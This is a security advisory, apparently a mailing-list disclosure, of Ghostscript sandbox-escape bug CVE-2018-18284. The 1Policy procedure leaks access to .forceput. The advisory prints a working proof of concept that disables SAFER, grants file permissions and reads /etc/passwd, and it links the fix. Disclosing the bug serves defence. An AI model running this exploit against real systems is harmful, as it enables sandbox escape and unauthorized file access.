ghostscript: 1Policy operator gives access to .forceput CVE-2018-18284

[Tavis Ormandy <taviso () google com>]

Hello, this <https://bugs.chromium.org/p/project-zero/issues/detail?id=1696>
is CVE-2018-18284, another ghostscript sandbox escape. Because procedures
in postscript are just executable arrays, all system procedures need to be
marked as executeonly, so that users cannot peek at their internals with
array operators.

We have also recently learned that they must be marked as pseudo-operators,
otherwise their contents might leak to error handlers.

That makes sense, unless the procedure itself is dangerous - in that case
it must be hidden.

1Policy is a procedure that was correctly marked as executeonly and made a
pseudo-operator, but was basically just a wrapper around .forceput. Here is
how to exploit it:

/.forceput { <<>> <<>> 4 index (ignored) 5 index 5 index .policyprocs 1 get
exec pop pop pop pop pop pop pop } def

Once you have access to .forceput, you can basically do whatever you want,
see the exploit for CVE-2018-17961 a full example of backdooring .bashrc.

Here is a simpler repro, just reading /etc/passwd:

$ gs -dSAFER -sDEVICE=ppmraw
GPL Ghostscript 9.25 (2018-09-13)
Copyright (C) 2018 Artifex Software, Inc.  All rights reserved.
This software comes with NO WARRANTY: see the file PUBLIC for details.
GS>/.forceput { <<>> <<>> 4 index (ignored) 5 index 5 index .policyprocs 1
get exec pop pop pop pop pop pop pop } def
GS>systemdict /SAFER false .forceput
GS>systemdict /userparams get /PermitFileControl [(*)] .forceput
GS>systemdict /userparams get /PermitFileWriting [(*)] .forceput
GS>systemdict /userparams get /PermitFileReading [(*)] .forceput
GS>(/etc/passwd) (r) file 1024 string readline pop ==
(root:x:0:0:root:/root:/bin/bash)
GS>

This patch solves it:

http://git.ghostscript.com/?p=ghostpdl.git;h=8d19fdf63f91f50466b08f23e2d93d37a4c5ea0b

Side note: I'm done looking at ghostscript for now, but still *strongly*
recommend that we deprecate untrusted postscript and disable ghostscript
coders by default in policy.xml.

Thanks, Tavis.